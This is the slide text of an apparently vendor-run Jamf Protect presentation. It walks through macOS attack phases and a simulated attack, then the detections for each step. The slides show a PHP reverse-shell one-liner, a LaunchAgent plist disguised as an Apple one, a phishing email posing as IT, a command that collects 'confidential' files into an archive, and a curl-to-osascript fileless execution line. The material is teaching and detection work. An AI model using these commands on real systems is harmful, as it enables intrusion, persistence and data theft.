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Malware Motivations
Crime Espionage



1. Initial Access

2. Execution

3. Persistence

4. Privilege Escalation

5. Defense Evasion

6. Credential Access

7. Discovery

8. Lateral Movement

9. Collection & Exfiltration

10. Command & Control

1. Reconassiance

2. Intrusion

3. Exploitation

4. Installation

5. Command & Control

6. Actions & Objectives

Killchain ATT&CK
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Predictable Objectives



Get on system











Get on system









Get on system



1. Get on system

2. Stay on system

3. Set up remote control

4. Do bad stuff

5. Stay hidden

Predictable Objectives



Stay on system





$ cat ~/Library/LaunchAgents/com.apple.updates.plist

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

   <key>Label</key>

   <string>com.apple.updates</string>

   <key>ProgramArguments</key>

   <array>

      <string>/Users/Shared/.local/kextd</string>

   </array>

   <key>RunAtLoad</key>

   <true/>
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1. Get on system
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Set up remote control



php -r '$sock=fsockopen("10.10.10.10",9001);`sh <&3 >&3 2>&3`;'





 Command and control

 Victim agent

 Remote commands

 File download



Set up remote control



1. Get on system

2. Stay on system

3. Set up remote control

4. Do bad stuff

5. Stay hidden

Predictable Objectives



Do bad stuff



1. A/V capture

2. Key logging

3. Remote commands

4. Data theft

Espionage
1. Adware

2. Crypto mining 

3. Ransomware

4. Hacktivism

Crime
Do bad stuff



1. Get on system

2. Stay on system

3. Set up remote control

4. Do bad stuff

5. Stay hidden

Predictable Objectives



Stay hidden





$ cat ~/Library/LaunchAgents/com.apple.updates.plist

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

   <key>Label</key>

   <string>com.apple.updates</string>

   <key>ProgramArguments</key>

   <array>

      <string>/Users/Shared/.local/kextd</string>

   </array>

   <key>RunAtLoad</key>

   <true/>
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Predictable Objectives





The Phases of a macOS Attack

How Jamf Protect Detects

An Attack Simulation

The Detections

Agenda



The Phases of a macOS Attack

How Jamf Protect Detects

An Attack Simulation

The Detections

Agenda



Jamf Protect 

Core Components

Monitor Security Benchmarks


Prevent Known Threats


Detect Malicious Behaviors
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Prevent Known Threats 

Jamf Protect 

Threat Prevention 
Powered by ESF



Prevent Known Threats 

Threat Prevention 
‣ Team IDs

‣ File Hashes

‣ Yara Rules



ALLOW
DENY

Should process proceed?



Analyzing

ALLOW
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Analyzing
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Jamf Protect 

Core Components

Monitor Security Benchmarks


Prevent Known Threats


Detect Malicious Behaviors
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Detect Malicious Behaviors 

Jamf Protect 

Behavioral Analytics 
Powered by ESF



Plist Disguised as Apple





LaunchAgents
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Name BEGINSWITH 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Jamf Protect 

Core Components

Monitor Security Benchmarks


Prevent Known Threats


Detect Malicious Behaviors
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An Attack Simulation
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5. Stay hidden

Mission Objectives
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1. Fake App via email
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1. Fake App via email

2. N/A (smash and grab)

3. Mythic C2
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1. Fake App via email

2. N/A (smash and grab)

3. Mythic C2

4. Steal Confidential Documents

5. Fileless Execution

Mission Objectives
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The AttackHi Everyone - 


As we all know, it is important to 
keep the software we run secure and 
up to date. We understand that 
taking the time to track and update 
all the applications you use can be 
a chore and not always top-of-mind. 




The Attack
As many of you have heard by now, 
in an effort to streamline this 
process, we are rolling out a 
convenient all in one application 
updater. Gone are the days when IT 
hijacks your machine for a forced 
application update. 




The Attack

You now have the freedom to run 
this single updater to manage all 
of your application updates when 
it's most convenient for you (IE 
not right before you have to get on 
a Zoom call 😬 sorry!)



The Attack
Please download the application here


Thanks for doing your part to keep 
our customers and fellow BAMFs safe!


Alan Howchins

VP, IT & Facilities BAMF



The Attack
Please download the application here


Thanks for doing your part to keep 
our customers and fellow BAMFs safe!


Alan Howchins

VP, IT & Facilities BAMF
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Daemon





<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<dict>

	 <key>BuildMachineOSBuild</key>

	 <string>21F5048e</string>

	 <key>CFBundleDevelopmentRegion</key>

	 <string>en</string>

	 <key>CFBundleDisplayName</key>

	 <string>Software Updater</string>

	 <key>CFBundleExecutable</key>

	 <string>updater</string>

	 <key>CFBundleIconFile</key>

	 <string>AppIcon</string>

	 <key>CFBundleIconName</key>

	 <string>AppIcon</string>

	 <key>CFBundleIdentifier</key>

	 <string>com.software.updater</string>

	 <key>CFBundleInfoDictionaryVersion</key>

	 <string>6.0</string>

	 <key>CFBundleName</key>

	 <string>updater</string>

	 <key>CFBundlePackageType</key>

	 <string>APPL</string>

	 <key>CFBundleShortVersionString</key>

	 <string>1.0</string>

	 <key>CFBundleSupportedPlatforms</key>

	 <array>

	 	 <string>MacOSX</string>

	 </array>

	 <key>CFBundleURLTypes</key>

	 <array>

	 	 <dict>

	 	 	 <key>CFBundleTypeRole</key>

	 	 	 <string>Viewer</string>

	 	 	 <key>CFBundleURLName</key>

	 	 	 <string>com.software.updater</string>

	 	 	 <key>CFBundleURLSchemes</key>

	 	 	 <array>

	 	 	 	 <string>SoftwareUpdate</string>

	 	 	 </array>

	 	 </dict>

	 </array>

	 <key>CFBundleVersion</key>

	 <string>1</string>

	 <key>DTCompiler</key>

	 <string>com.apple.compilers.llvm.clang.1_0</string>

	 <key>DTPlatformBuild</key>

	 <string>13E113</string>

	 <key>DTPlatformName</key>

	 <string>macosx</string>

	 <key>DTPlatformVersion</key>

	 <string>12.3</string>

	 <key>DTSDKBuild</key>




			<key>CFBundleURLSchemes</key>

				<string>SoftwareUpdate</string>




	 	 	 

	 	 	 SoftwareUpdate
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The Attack







mdfind confidential -0 | xargs -0 tar -rvf /tmp/archive.tar



mdfind confidential -0 | xargs -0 tar -rvf /tmp/archive.tar



mdfind password routing accountconfidential



mdfind confidential -0 | xargs -0



xargs



mdfind confidential -0 | xargs -0 tar -r



mdfind confidential -0 | xargs -0 tar -rv



mdfind confidential -0 | xargs -0 tar -rvf



mdfind confidential -0 | xargs -0 tar -rvf /tmp/archive.tar



blueprints.pdf

accounts.xlsx

trade_secrets.docx

mdfind confidential



mdfind confidential archive.tartarxargs
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The Detections
1. Custom URL Scheme

2. Gatekeeper Bypass

3. Fileless Malware

4. Evil mdfind
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Gatekeeper Bypass







Monitor Security Benchmarks 







Gatekeeper Bypass



The Detections
1. Custom URL Scheme
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Fileless Malware







curl -sk https://... | osascript -l JavaScript &




Evil mdfind



  Pid: 1236  Pid: 1235  Pid: 1234

 Ppid: 120  Ppid: 1234  Ppid: 1235

 Pgid: 1234  Pgid: 1234  Pgid: 1234

mdfind confidential xargs tar



mdfind confidential xargs tar

  Pid: 1236  Pid: 1235  Pid: 1234

 Ppid: 120  Ppid: 1234  Ppid: 1235

 Pgid: 1234  Pgid: 1234  Pgid: 1234

  Pid: 1234

 Pgid: 1234  Pgid: 1234  Pgid: 1234
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The Art of Mac Malware

OSX Incident Response

Further Resources

Objective By the Sea

macadmins Slack channel: #jamf-protect


